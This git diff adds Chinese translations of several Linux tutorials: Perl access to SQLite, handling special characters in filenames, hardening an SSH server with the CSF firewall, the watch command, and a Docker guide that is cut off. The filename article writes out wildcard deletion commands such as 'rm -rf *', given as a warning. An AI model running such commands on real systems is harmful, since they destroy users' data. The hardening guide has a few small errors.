+ +- + + use DBI; + use strict; + + # 定义数据库名称和驱动 + my $driver = "SQLite"; + my $db_name = "xmodulo.db"; + my $dbd = "DBI:$driver:dbname=$db_name"; + + # sqlite 没有用户名密码的概念 + my $username = ""; + my $password = ""; + + # 创建并连接到数据库 + # 以下创建的文件名为 xmodulo.db + my $dbh = DBI->connect($dbd, $username, $password, { RaiseError => 1 }) + or die $DBI::errstr; + print STDERR "Database opened successfully\n"; + + # 创建表 + my $stmt = qq(CREATE TABLE IF NOT EXISTS NETWORK + (ID INTEGER PRIMARY KEY AUTOINCREMENT, + HOSTNAME TEXT NOT NULL, + IPADDRESS INT NOT NULL, + OS CHAR(50), + CPULOAD REAL);); + my $ret = $dbh->do($stmt); + if($ret < 0) { + print STDERR $DBI::errstr; + } else { + print STDERR "Table created successfully\n"; + } + + # 插入三行到表中 + $stmt = qq(INSERT INTO NETWORK (HOSTNAME,IPADDRESS,OS,CPULOAD) + VALUES ('xmodulo', 16843009, 'Ubuntu 14.10', 0.0)); + $ret = $dbh->do($stmt) or die $DBI::errstr; + + $stmt = qq(INSERT INTO NETWORK (HOSTNAME,IPADDRESS,OS,CPULOAD) + VALUES ('bert', 16843010, 'CentOS 7', 0.0)); + $ret = $dbh->do($stmt) or die $DBI::errstr; + + $stmt = qq(INSERT INTO NETWORK (HOSTNAME,IPADDRESS,OS,CPULOAD) + VALUES ('puppy', 16843011, 'Ubuntu 14.10', 0.0)); + $ret = $dbh->do($stmt) or die $DBI::errstr; + + # 在表中检索行 + $stmt = qq(SELECT id, hostname, os, cpuload from NETWORK;); + my $obj = $dbh->prepare($stmt); + $ret = $obj->execute() or die $DBI::errstr; + + if($ret < 0) { + print STDERR $DBI::errstr; + } + while(my @row = $obj->fetchrow_array()) { + print "ID: ". $row[0] . "\n"; + print "HOSTNAME: ". $row[1] ."\n"; + print "OS: ". $row[2] ."\n"; + print "CPULOAD: ". $row[3] ."\n\n"; + } + + # 更新表中的某行 + $stmt = qq(UPDATE NETWORK set CPULOAD = 50 where OS='Ubuntu 14.10';); + $ret = $dbh->do($stmt) or die $DBI::errstr; + + if( $ret < 0 ) { + print STDERR $DBI::errstr; + } else { + print STDERR "A total of $ret rows updated\n"; + } + + # 从表中删除某行 + $stmt = qq(DELETE from NETWORK where ID=2;); + $ret = $dbh->do($stmt) or die $DBI::errstr; + + if($ret < 0) { + print STDERR $DBI::errstr; + } else { + print STDERR "A total of $ret rows deleted\n"; + } + + # 断开数据库连接 + $dbh->disconnect(); + print STDERR "Exit the database\n"; + +上面的Perl脚本运行成功后会创建一个叫“xmodulo.db”的数据库文件,并会有下面的输出。 + + Database opened successfully + Table created successfully + ID: 1 + HOSTNAME: xmodulo + OS: Ubuntu 14.10 + CPULOAD: 0 + + ID: 2 + HOSTNAME: bert + OS: CentOS 7 + CPULOAD: 0 + + ID: 3 + HOSTNAME: puppy + OS: Ubuntu 14.10 + CPULOAD: 0 + + A total of 2 rows updated + A total of 1 rows deleted + Exit the database + +### 错误定位 ### + +如果你尝试没有安装SQLite DBI驱动的情况下使用Perl访问SQLite的话,你会遇到下面的错误。你必须按开始说的安装DBI驱动。 + + Can't locate DBI.pm in @INC (@INC contains: /usr/local/lib64/perl5 /usr/local/share/perl5 /usr/lib64/perl5/vendor_perl /usr/share/perl5/vendor_perl /usr/lib64/perl5 /usr/share/perl5 .) at ./script.pl line 3. + BEGIN failed--compilation aborted at ./script.pl line 3. + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/access-sqlite-database-perl.html + +作者:[Dan Nanni][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/nanni diff --git a/published/201507/20150610 How to Manipulate Filenames Having Spaces and Special Characters in Linux.md b/published/201507/20150610 How to Manipulate Filenames Having Spaces and Special Characters in Linux.md new file mode 100644 index 0000000000..93a8868639 --- /dev/null +++ b/published/201507/20150610 How to Manipulate Filenames Having Spaces and Special Characters in Linux.md @@ -0,0 +1,432 @@ +Linux 下如何处理包含空格和特殊字符的文件名 +================================================================================ +我们经常会看到文件名和文件夹名。大多数时候文件/文件夹的名字和内容相关并以数字和字母开头。字母加数字的文件名最常见,应用也很广泛,但总会需要处理一些包含特殊字符的文件名/文件夹名。 + +** 注意 **:我们可能有各种类型的文件,但是为了简单以及方便实现,在本文中我们只用文本文件(.txt)做演示。 + +最常见的文件名例子: + + abc.txt + avi.txt + debian.txt + ... + +数字文件名例子: + + 121.txt + 3221.txt + 674659.txt + ... + +字母数字文件名例子: + + eg84235.txt + 3kf43nl2.txt + 2323ddw.txt + ... + +包含特殊字符的文件名的例子,并不常见: + + #232.txt + #bkf.txt + #bjsd3469.txt + #121nkfd.txt + -2232.txt + -fbjdew.txt + -gi32kj.txt + --321.txt + --bk34.txt + ... + +一个显而易见的问题是 - 在这个星球上有谁会创建和处理包含井号`(#)`,分号`(;)`,破折号`(-)`或其他特殊字符的文件/文件夹啊。 + +我和你想的一样,这种文件名确实不常见,不过在你必须得处理这种文件名的时候你的 shell 也不应该出错或罢工。而且技术上来说,Linux 下的一切比如文件夹、驱动器或其他所有的都被当作文件处理。 + +### 处理名字包含破折号(-)的文件 ### + +创建以破折号`(-)`开头的文件,比如 -abx.txt。 + + $ touch -abc.txt + +#### 测试输出 #### + + touch: invalid option -- 'b' + Try 'touch --help' for more information. + +出现上面错误的原因是,shell 把破折号`(-)`之后的内容认作参数了,而很明显没有这样的参数,所以报错。 + +要解决这个问题,我们得告诉 Bash shell(是的,这里以及本文后面的大多数例子都是基于 BASH 环境)不要将特殊字符(这里是破折号)后的字符解释为参数。 + +有两种方法解决这个错误: + + $ touch -- -abc.txt [方法 #1] + $ touch ./-abc.txt [方法 #2] + +你可以通过运行命令 ls 或 [ls -l][1] 列出详细信息来检查通过上面两种方式创建的文件。 + + $ ls -l + + total 0 + -rw-r--r-- 1 avi avi 0 Jun 8 11:05 -abc.txt + +要编辑上述文件可以这样: + + $ nano -- -abc.txt + 或者 + $ nano ./-abc.txt + +**注意**:你可以将 nano 替换为任何其他你喜欢的编辑器比如说 vim: + + $ vim -- -abc.txt + 或者 + $ vim ./-abc.txt + +如果只是简单地移动文件可以这样: + + $ mv -- -abc.txt -a.txt + 或者 + $ mv -- -a.txt -abc.txt + +删除这种文件,可以这样: + + $ rm -- -abc.txt + 或者 + $ rm ./-abc.txt + +如果一个目录下有大量这种名字包含破折号的文件,要一次全部删除的话,可以这样: + + $ rm ./-* + +**重要:** + +1. 上面讨论的规则可以同样应用于名字中包含任意数量以及任意位置的连接符号的文件。就是说,-a-b-c.txt,ab-c.txt,abc-.txt,等等。 + +2. 上面讨论的规则可以同样应用于名字中包含任意数量以及任意位置连接符号的文件夹,除了一种情况,在删除一个文件夹的时候你得这样使用`rm -rf`: + + $ rm -rf -- -abc + 或者 + $ rm -rf ./-abc + +### 处理名字包含井号(#)的文件 ### + +符号`#`在 BASH 里有非常特别的含义。`#`之后的一切都会被认为是评论,因此会被 BASH 忽略。 + +**通过例子来加深理解:** + +创建一个名字是 #abc.txt 的文件: + + $ touch #abc.txt + +#### 测试输出 #### + + touch: missing file operand + Try 'touch --help' for more information. + +出现上面错误的原因是,BASH 将 #abc.txt 解释为评论而忽略了。所以[命令 touch][2]没有收到任何文件作为参数,所以导致这个错误。 + +要解决这个问题,你可能需要告诉 BASH 不要将 # 解释为评论。 + + $ touch ./#abc.txt + 或者 + $ touch '#abc.txt' + +检查刚创建的文件: + + $ ls -l + + total 0 + -rw-r--r-- 1 avi avi 0 Jun 8 12:14 #abc.txt + +现在创建名字中除了开头的其他地方包含 # 的文件。 + + $ touch ./a#bc.txt + $ touch ./abc#.txt + 或者 + $ touch 'a#bc.txt' + $ touch 'abc#.txt' + +运行 ‘ls -l‘ 来检查: + + $ ls -l + + total 0 + -rw-r--r-- 1 avi avi 0 Jun 8 12:16 a#bc.txt + -rw-r--r-- 1 avi avi 0 Jun 8 12:16 abc#.txt + +如果同时创建两个文件(比如 a 和 #bc)会怎么样: + + $ touch a.txt #bc.txt + +检查刚创建的文件: + + $ ls -l + + total 0 + -rw-r--r-- 1 avi avi 0 Jun 8 12:18 a.txt + +很明显上面的例子中只创建了文件 `a` 而文件 `#bc` 被忽略了。对于上面的情况我们可以这样做, + + $ touch a.txt ./#bc.txt + 或者 + $ touch a.txt '#bc.txt' + +检查一下: + + $ ls -l + + total 0 + -rw-r--r-- 1 avi avi 0 Jun 8 12:20 a.txt + -rw-r--r-- 1 avi avi 0 Jun 8 12:20 #bc.txt + +可以这样移动文件: + + $ mv ./#bc.txt ./#cd.txt + 或者 + $ mv '#bc.txt' '#cd.txt' + +这样拷贝: + + $ cp ./#cd.txt ./#de.txt + 或者 + $ cp '#cd.txt' '#de.txt' + +可以使用你喜欢的编辑器来编辑文件: + + $ vi ./#cd.txt + 或者 + $ vi '#cd.txt' + + $ nano ./#cd.txt + 或者 + $ nano '#cd.txt' + +这样删除: + + $ rm ./#bc.txt + 或者 + $ rm '#bc.txt' + +要删除所有以井号(#)开头的文件,可以这样: + + # rm ./#* + +### 处理名字包含分号(;)的文件 ### + +如果你还不知道的话,分号在 BASH 里起到命令分隔的作用,其他 shell 可能也是一样的。分号作为分隔符可以让你一次执行几个命令。你碰到过名字包含分号的文件吗?如果没有的话,这里有例子。 + +创建一个名字包含分号的文件。 + + $ touch ;abc.txt + +#### 测试输出 #### + + touch: missing file operand + Try 'touch --help' for more information. + bash: abc.txt: command not found + +出现上面错误的原因是,在运行上面命令的时候 BASH 会把 touch 解释为一个命令但是在分号前没有任何文件参数,所以报告错误。然后报告的另一个错误找不到命令 `abc.txt`,只是因为在分号后 BASH 会期望另一个新的命令,而 `abc.txt` 并不是一个命令。 + +要解决这个问题,我们得告诉 BASH 不要将分号解释为命令分隔符,例如: + + $ touch ./';abc.txt' + 或者 + $ touch ';abc.txt' + +**注意**:我们将文件名用单引号 '' 包含起来。这样可以告诉 BASH 分号 ; 是文件名的一部分而不是命令分隔符。 + +对名字包含分号的文件和文件夹的其他操作(就是,拷贝、移动、删除)可以直接将名字用单引号包含起来就好了。 + +### 处理名字包含其他特殊字符的文件/文件夹 ### + +#### 文件名包含加号 (+) #### + +不需要任何特殊处理,按平时的方式做就好了,比如下面测试的文件名。 + + $ touch +12.txt + +#### 文件名包含美元符 ($) #### + +你需要将文件名用单引号括起来,像处理分号那样的方式。然后就很简单了。 + + $ touch '$12.txt' + +#### 文件名包含百分号 (%) #### + +不需要任何特殊处理,当作一个普通文件就可以了。 + + $ touch %12.txt + +#### 文件名包含星号 (*) #### + +需要用单引号括起来或使用反斜杠转义。(LCTT 译注:此处原文有误,已修改。) + + $ touch *12.txt + +注意:当你需要删除星号开头的文件时,千万不要用类似下面的命令。 + + $ rm * + 或者 + $ rm -rf * + +而是用这样的命令,(LCTT 译注:此处原文有误,已修改) + + $ rm ./'*.txt' + +#### 文件名包含叹号 (!) #### + +只要将文件名用单引号括起来,其他的就一样了。 + + $ touch '!12.txt' + +#### 文件名包含小老鼠 (@) #### + +没有什么特别的,可以将名字包含小老鼠的文件当作普通文件。 + + $ touch '@12.txt' + +#### 文件名包含 ^ #### + +不需要特殊处理。可以将名字包含 ^ 的文件当作普通文件。 + + $ touch ^12.txt + +#### 文件名包含 (&) #### + +将文件名用单引号括起来,然后就可以操作了。 + + $ touch '&12.txt' + +#### 文件名包含括号 () #### + +如果文件名包含括号,你需要将文件名用单引号括起来。 + + $ touch '(12.txt)' + +#### 文件名包含花括号 {} #### + +用单引号括起来或使用反斜杠转义。(LCTT 译注:此处原文有误,已修改) + + $ touch '{12.txt}' + +#### 文件名包含尖括号 <> #### + +名字包含尖括号的文件需要用单引号括起来。 + + $ touch '<12.txt>' + +#### 文件名包含方括号 [ ] #### + +用单引号括起来或使用反斜杠转义。(LCTT 译注:此处原文有误,已修改) + + $ touch '[12.txt]' + +#### 文件名包含下划线 (_) #### + +这个非常普遍,不需要特殊对待。当作普通文件随意处理。 + + $ touch _12.txt + +#### 文件名包含等号 (=) #### + +用单引号括起来或使用反斜杠转义。(LCTT 译注:此处原文有误,已修改) + + $ touch '=12.txt' + +#### 处理反斜杠 (\) #### + +反斜杠会告诉 shell 忽略后面字符的特殊含义。你必须将文件名用单引号括起来,就像处理分号那样。其他的就没什么了。 + + $ touch '\12.txt' + +#### 包含斜杠的特殊情形 #### + +除非你的文件系统有问题,否则你不能创建名字包含斜杠的文件。没办法转义斜杠。 + +所以如果你能创建类似 ‘/12.txt’ 或者 ‘b/c.txt’ 这样的文件,那要么你的文件系统有问题,或者支持 Unicode,这样你可以创建包含斜杠的文件。只是这样并不是真的斜杠,而是一个看起来像斜杠的 Unicode 字符。 + +#### 文件名包含问号 (?) #### + +用单引号括起来或使用反斜杠转义。(LCTT 译注:此处原文有误,已修改) + + $ touch '?12.txt' + +#### 文件名包含点 (.) #### + +在 Linux 里以点 `(.)` 开头的文件非常特别,被称为点文件。它们通常是隐藏的配置文件或系统文件。你需要使用 ls 命令的 ‘-a‘ 或 ‘-A‘ 开关来查看这种文件。 + +创建,编辑,重命名和删除这种文件很直接。 + + $ touch .12.txt + +注意:在 Linux 里你可能碰到名字包含许多点 `(.)` 的文件。不像其他操作系统,文件名里的点并不意味着分隔名字和扩展后缀。你可以创建名字包含多个点的文件: + + $ touch 1.2.3.4.5.6.7.8.9.10.txt + +检查一下: + + $ ls -l + + total 0 + -rw-r--r-- 1 avi avi 0 Jun 8 14:32 1.2.3.4.5.6.7.8.9.10.txt + +#### 文件名包含逗号 (,) #### + +你可以在文件名中使用逗号,可以有任意多个而不用特殊对待。就像平时普通名字文件那样处理。 + + $ touch ,12.txt + 或者 + $ touch ,12,.txt + +#### 文件名包含冒号 (:) #### + +用单引号括起来或使用反斜杠转义。(LCTT 译注:此处原文有误,已修改) + + $ touch ':12.txt' + 或者 + $ touch ':12:.txt' + +#### 文件名包含引号(单引号和双引号) #### + +要在文件名里使用引号,我们需要使用交替规则。例如,如果你需要在文件名里使用单引号,那就用双引号把文件名括起来。而如果你需要在文件名里使用双引号,那就用单引号把文件名括起来。(LCTT 译注:或者如果单引号和双引号混杂的情况,你也可以用反斜杠转义。) + + $ touch "15'.txt" + + 以及 + + $ touch '15".txt' + +#### 文件名包含波浪号 (~) #### + +Linux 下一些像 emacs 这样的文本编辑器在编辑文件的时候会创建备份文件。这个备份文件的名字是在原文件名后面附加一个波浪号。你可以在文件名任意位置使用波浪号,例如: + + $ touch ~1a.txt + 或者 + $touch 2b~.txt + +#### 文件名包含空格 #### + +创建名字的字符/单词之间包含空格的文件,比如 “hi my name is avishek.txt”。 + +最好不要在文件名里使用空格,如果你必须要分隔可读的名字,可以使用下划线或横杠。不过,你还是需要创建这样的文件的话,你可以用反斜杠来转义下一个字符。要创建上面名字的文件可以这样做。 + + $ touch hi\ my\ name\ is\ avishek.txt + + hi my name is avishek.txt + +我已经尝试覆盖你可能碰到的所有情况。上面大多数测试都在 BASH Shell 里完成,可能在其他 shell 下会有差异。 + +如果你觉得我遗漏了什么(这很正常也符合人性),请把你的建议发表到下面的评论里。保持联系,多评论。不要走开!求点赞求分享求扩散! + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/manage-linux-filenames-with-special-characters/ + +作者:[Avishek Kumar][a] +译者:[zpl1025](https://github.com/zpl1025) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:https://linux.cn/article-5349-1.html +[2]:http://www.tecmint.com/8-pratical-examples-of-linux-touch-command/ diff --git a/published/201507/20150610 How to secure your Linux server.md b/published/201507/20150610 How to secure your Linux server.md new file mode 100644 index 0000000000..e6fcb4449a --- /dev/null +++ b/published/201507/20150610 How to secure your Linux server.md @@ -0,0 +1,239 @@ +Linux 服务器安全技巧 +================================================================================ + +毋庸置疑,对于系统管理员,提高服务器的安全性是最重要的事情之一。因此,也就有了许多针对这个话题而生的文章、博客和论坛帖子。 + +一台服务器由大量功能各异的部件组成,这一点使得很难根据每个人的需求去提供定制的解决方案。这篇文章尽可能涵盖一些有所裨益的小技巧来帮助管理员保证服务器和用户安全。 + +有一些常识是每个系统管理员都应该烂熟于心的,所以下面的几点在本文将不会提及: + +- 务必保证系统是**最新的** +- 经常更换密码 - 使用数字、字母和非字母的符号组合 +- 给予用户**最小**的权限,满足他们日常使用所需即可 +- 只安装那些真正需要的软件包 + +下面是一些更有意思的内容: + +### 更改SSH默认端口 ### + +在搭建好一台全新的服务器后要做的第一件事情就是更改SSH的默认端口。这个小小的改动能够使你的服务器避免受到成千上万的暴力攻击(LCTT 译注:不更改默认端口相当于黑客们知道你家的门牌号,这样他们只需要一把一把的试钥匙就可能打开你家的锁)。 + +要更改默认的SSH端口,先打开sshd_config文件: + + sudo vim /etc/ssh/sshd_config + +找到下面这行: + + #Port 22 + +“#”号表示这行是注释。首先删除#号,然后把端口号改成目的端口。端口号不能超过65535,确保要指定的端口号没有被系统或其它服务占用。建议在[维基百科]上查看常用端口号列表。在本文中,使用这个端口号: + + Port 16543 + +然后保存并关闭文件,等待更改生效。 + +接下来的一步是: + +### 使用SSH密钥认证 ### + +在通过SSH访问服务器时,使用SSH密钥进行认证是尤其重要的。这样做为服务器增加了额外的保护,确保只有那些拥有密钥的人才能访问服务器。 + +在本地机器上运行下面命令以生成SSH密钥: + + ssh-keygen -t rsa + +你会看到下面的输出,询问要将密钥写到哪一个文件里,并且设置一个密码: + + Generating public/private rsa key pair. + Enter file in which to save the key (/root/.ssh/id_rsa): my_key + Enter passphrase (empty for no passphrase): + Enter same passphrase again: + Your identification has been saved in my_key. + Your public key has been saved in my_key.pub. + The key fingerprint is: + SHA256:MqD/pzzTRsCjZb6mpfjyrr5v1pJLBcgprR5tjNoI20A + +完成之后,就得到两个文件: + +my_key + +my_key.pub + +接下来把my\_key.pub拷贝到~/.ssh/authorized\_key中 + + cp my_key.pub ~/.ssh/authorized_keys + +然后使用下面命令将密钥上传到服务器: + + scp -P16543 authorized_keys user@yourserver-ip:/home/user/.ssh/ + +至此,你就可以从这台本地机器上无密码地访问服务器了。 + +### 关闭SSH的密码认证 ### + +既然已经有了SSH密钥,那么关闭SSH的密码认证就会更安全了。再次打开并编辑sshd_config,按如下设置: + + ChallengeResponseAuthentication no + PasswordAuthentication no + UsePAM no + +### 关闭Root登录 ### + +下面关键的一步是关闭root用户的直接访问,而使用sudo或su来执行管理员任务。首先需要添加一个有root权限的新用户,所以编辑这个路径下的sudoers文件: + + /etc/sudoers/ + +推荐使用如**visudo**这样的命令编辑该文件,因为它会在关闭文件之前检查任何可能出现的语法错误。当你在编辑文件时出错了,这就很有用了。 + +接下来赋予某个用户root权限。在本文中,使用用户**sysadmin**。确保在编辑后这个文件时使用的用户是系统已有的用户。找到下面这行: + + root ALL=(ALL) ALL + +拷贝这行,然后粘贴在下一行,然后把root更改为“sysadmin”,如下所示: + + root ALL=(ALL) ALL + sysadmin ALL=(ALL) ALL + +现在解释一下这行的每一个选项的含义: + + (1) root (2)ALL=(3)(ALL) (4)ALL + +(1) 指定用户 + +(2) 指定用户使用sudo的终端 + +(3) 指定用户可以担任的用户角色 + +(4) 这个用户可以使用的命令 + +(LCTT 译注:所以上面的配置是意思是:root 用户可以在任何终端担任任何用户,执行任何命令。) + +使用这个配置可以给用户访问一些系统工具的权限。 + +这时,可以放心保存文件了。 + +为了关闭通过SSH直接访问root,需要再次打开**sshd_config**,找到下面这行: + + #PermitRootLogin yes + +更改为: + + PermitRootLogin no + +然后保存文件,重启sshd守护进程使改动生效。执行下面命令即可: + + sudo /etc/init.d/sshd restart + +### 设置防火墙 ### + +防火墙有助于过滤出入端口和阻止使用暴力法的登录尝试。我倾向于使用SCF(Config Server Firewall)这个强力防火墙。它使用了iptables,易于管理,而且对于不擅于输入命令的用户提供了web界面。 + +要安装CSF,先登录到服务器,切换到这个目录下: + + cd /usr/local/src/ + +然后以root权限执行下面命令: + + wget https://download.configserver.com/csf.tgz + tar -xzf csf.tgz + cd csf + sh install.sh + +只需等待安装程序完成,然后编辑CSF的配置文件: + + /etc/csf/csf.conf + +默认情况下CSF是以测试模式运行。通过将“TESTING”的值设置成0,切换到product模式。 + + TESTING = "0" + +下面要设置的就是服务器上允许通过的端口。在csf.conf中定位到下面的部分,根据需要修改端口: + + # 允许入站的 TCP 端口 + TCP_IN = "20,21,25,53,80,110,143,443,465,587,993,995,16543" + # 允许出站的 TCP 端口 + TCP_OUT = "20,21,22,25,53,80,110,113,443,587,993,995,16543" + # 允许入站的 UDP 端口 + UDP_IN = "20,21,53" + # 允许出站的 UDP 端口 + # 要允许发出 traceroute 请求,请加 33434:33523 端口范围到该列表 + UDP_OUT = "20,21,53,113,123" + +请根据需要逐一设置,推荐只使用那些需要的端口,避免设置对端口进行大范围设置。此外,也要避免使用不安全服务的不安全端口。比如只允许端口465和587来发送电子邮件,取代默认的SMTP端口25。(LCTT 译注:前提是你的邮件服务器支持 SMTPS) + +**重要**:千万不要忘记允许自定义的 ssh 端口。 + +允许你的IP地址通过防火墙,而绝不被屏蔽,这一点很重要。IP地址定义在下面的文件中: + + /etc/csf/csf.ignore + +被屏蔽了的IP地址会出现在这个文件中: + + /etc/csf/csf.deny + +一旦完成更改,使用这个命令重启csf: + + sudo /etc/init.d/csf restart + +下面是在某台服务器上的csf.deny文件的部分内容,来说明CSF是很有用的: + + 211.216.48.205 # lfd: (sshd) Failed SSH login from 211.216.48.205 (KR/Korea, Republic of/-): 5 in the last 3600 secs - Fri Mar 6 00:30:35 2015 + 103.41.124.53 # lfd: (sshd) Failed SSH login from 103.41.124.53 (HK/Hong Kong/-): 5 in the last 3600 secs - Fri Mar 6 01:06:46 2015 + 103.41.124.42 # lfd: (sshd) Failed SSH login from 103.41.124.42 (HK/Hong Kong/-): 5 in the last 3600 secs - Fri Mar 6 01:59:04 2015 + 103.41.124.26 # lfd: (sshd) Failed SSH login from 103.41.124.26 (HK/Hong Kong/-): 5 in the last 3600 secs - Fri Mar 6 02:48:26 2015 + 109.169.74.58 # lfd: (sshd) Failed SSH login from 109.169.74.58 (GB/United Kingdom/mail2.algeos.com): 5 in the last 3600 secs - Fri Mar 6 03:49:03 2015 + +可以看到,尝试通过暴力法登录的IP地址都被屏蔽了,真是眼不见心不烦啊! + +### 锁住账户 ### + +如果某个账户在很长一段时间内都不会被使用了,那么可以将其锁住以防止其它人访问。使用如下命令: + + passwd -l accountName + +当然,这个账户依然可以被root用户使用(LCTT 译注:可用 su 切换为该账号)。 + +### 了解服务器上的服务 ### + +服务器的本质是为各种服务提供访问功能。使服务器只运行所需的服务,关闭没有使用的服务。这样做不仅会释放一些系统资源,而且也会使服务器变得更加安全。比如,如果只是运行一个简单的服务器,显然不需要X显示或者桌面环境。如果不需要Windows网络共享功能,则可以放心关闭Samba。 + +使用下面的命令能查看伴随系统启动而启动的服务: + + chkconfig --list | grep "3:on" + +如果系统运行了**systemd**,执行这条命令: + + systemctl list-unit-files --type=service | grep enabled + +然后使用下面的命令关闭服务: + + chkconfig service off + 或 + systemctl disable service + +在上面的例子中,把“service”替换成真正想要停止的服务名称。实例如下: + + chkconfig httpd off + 或 + systemctl disable httpd + +### 小结 ### + +这篇文章的目的是涵盖一些通用的安全步骤以便帮助你保护服务器。你可以采取更多方式去增强对服务器的保护。请记住保证服务器安全是你的责任,在维护服务器安全时尽量做出明智的选择,尽管并没有什么容易的方式去完成这件事情,而建立“完善的”安全需要花费大量的时间和测试直到达到想要的结果。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxveda.com/2015/06/03/secure-linux-server/ + +作者:[Marin Todorow][a] +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.linuxveda.com/author/marin_todorov/ +[1]:http://en.wikipedia.org/wiki/Port_%28computer_networking%29#Common_port_numbers + + + + diff --git a/published/201507/20150610 watch--Repeat Linux or Unix Commands Regular Intervals.md b/published/201507/20150610 watch--Repeat Linux or Unix Commands Regular Intervals.md new file mode 100644 index 0000000000..b537db3854 --- /dev/null +++ b/published/201507/20150610 watch--Repeat Linux or Unix Commands Regular Intervals.md @@ -0,0 +1,129 @@ +watch:定期重复Linux / Unix命令 +================================================================================ +服务器管理员需要维护系统并保持更新和安全。每天需要运行大量的指令。有些系统进程会记录日志。这些日志不断更新。为了检查这些更新,需要重复地执行命令。比如,为了读取一个日志文件需要使用head、tail、cat等命令。这些命令需要重复地执行。而watch命令可以用于定期地执行一个命令。 + +### Watch 命令 ### + +watch是一个简单的命令,只有几个选项。watch命令的基本语法是: + + watch [-dhvt] [-n ] [--differences[=cumulative]] [--help] [--interval=] [--no-title] [--version] + +watch命令默认每隔2秒执行后面参数给出的命令。这个时间根据的是命令执行结束到上次执行的间隔来算的。比如,watch命令可以用于监测日志更新,更新是在文件的后面追加新的内容,因此可以用tail命令来检测文件的更新(LCTT 译注:可以直接使用 `tail -f` 主动跟踪某个文件的更新,而不用使用 watch。)。这个命令会持续地运行直到你按下 `CTRL + C`回到提示符。 + +### 例子 ### + +每两秒监测 errors/notices/warning 生成的情况。 + + watch tail /var/log/messages + +![tail messages](http://blog.linoxide.com/wp-content/uploads/2015/06/1.png) + +按指定的时间间隔监测磁盘的使用率。 + + watch df -h + +![df -h](http://blog.linoxide.com/wp-content/uploads/2015/06/2.png) + +对磁盘管理员而言,关注高I/O等待导致的磁盘操作尤其是mysql事务是很重要的。 + + watch mysqladmin processlist + +![processlist](http://blog.linoxide.com/wp-content/uploads/2015/06/3.png) + +监测服务器负载和运行时间。 + + watch uptime + +![uptime](http://blog.linoxide.com/wp-content/uploads/2015/06/10.png) + +监测exim给用户发送通知的队列大小。 + + watch exim -bpc + +![exim -bpc](http://blog.linoxide.com/wp-content/uploads/2015/06/9.png) + +### 1) 指定延迟 ### + + watch [-n ] + +命令默认运行的时间间隔可用-n改变,下面的命令会在5秒后运行后面的命令: + + watch -n 5 date + +![date 5 seconds](http://blog.linoxide.com/wp-content/uploads/2015/06/4b.png) + +### 2) 连续输出比较### + +如果你使用-d选项,它会累次地高亮第一次和下一次命令之间输出的差别。 + + watch [-d or --differences[=cumulative]] + +例子 1,用下面的命令连续地输出时间并观察高亮出来的不同部分。 + + watch -n 15 -d date + +第一次执行date的输出会被记录,15秒后会重复运行命令。 + +![Difference A](http://blog.linoxide.com/wp-content/uploads/2015/06/6.png) + +在下一次执行时,可以看到输出除了被高亮的秒数从14到29之外其他的都一样。 + +![Difference A](http://blog.linoxide.com/wp-content/uploads/2015/06/6b.png) + +例子 2,让我们来体验一下两个连续的“uptime”命令输出的不同。 + + watch -n 20 -d uptime + +![uptime](http://blog.linoxide.com/wp-content/uploads/2015/06/10.png) + +现在列出了时间和3个负载快照之间的不同。 + +![10b](http://blog.linoxide.com/wp-content/uploads/2015/06/10b.png) + +### 3) 不带标题输出 ### + +如果你不希望显示更多关于延迟和实际命令的信息可以使用-t选项。 + + watch [-t or --no-title] + +让我们看下下面例子命令的输出: + + watch -t date + +![watch without title](http://blog.linoxide.com/wp-content/uploads/2015/06/7t.png) + +### Watch 帮助 ### + +可以在ssh中输入下面的命令来得到watch的简要帮助。 + + watch -h [or --help] + +![watch help](http://blog.linoxide.com/wp-content/uploads/2015/06/8h.png) + +### Watch 版本 ### + +在ssh终端中运行下面的命令来检查watch的版本。 + + watch -v [--version] + +![version](http://blog.linoxide.com/wp-content/uploads/2015/06/11.png) + +**不足** + +不幸的是,在终端大小调整时,屏幕不能在下次运行前重画。所有用--difference高亮的内容也会在更新时丢失。 + +### 总结 ### + +watch对系统管理员而言是一个非常强大的工具,因为它可以用于监控、日志、运维、性能和系统运行时的吞吐量。人们可以非常简单地格式化和推延watch的输出。任何Linux命令/程序或脚本可以按照所需监测和连续输出。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-watch-command/ + +作者:[Aun Raza][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunrz/ diff --git a/published/201507/20150612 How to Configure Apache Containers with Docker on Fedora 22.md b/published/201507/20150612 How to Configure Apache Containers with Docker on Fedora 22.md new file mode 100644 index 0000000000..0dafdcb675 --- /dev/null +++ b/published/201507/20150612 How to Configure Apache Containers with Docker on Fedora 22.md @@ -0,0 +1,275 @@ +如何在Fedora 22上面配置Apache的Docker容器 +============================================================================= + +在这篇文章中,我们将会学习关于Docker的一些知识,如何使用Docker部署Apache httpd服务,并且共享到Docker Hub上面去。首先,我们学习怎样拉取和使用Docker Hub里面的镜像,然后在一个Fedora 22的镜像上交互式地安装Apache,之后我们将会学习如何用一个Dockerfile文件来以一种更快,更优雅的方式制作一个镜像。最后,我们将我们创建的镜像发布到Docker Hub上,这样以后任何人都可以下载并使用它。 + +### 安装并初体验Docker ### + +**要求** + +运行Docker,你至少需要满足这些: + +- 你需要一个64位的内核,版本3.10或者更高 +- Iptables 1.4 - Docker会用它来做网络配置,如网络地址转换(NAT) +- Git 1.7 - Docker会使用Git来与仓库交流,如Docker Hub +- ps - 在大多数环境中这个工具都存在,在procps包里有提供 +- root - 尽管一般用户可以通过TCP或者其他方式来运行Docker,但是为了简化,我们会假定你就是root + +#### 使用dnf安装docker #### + +以下的命令会安装Docker + + 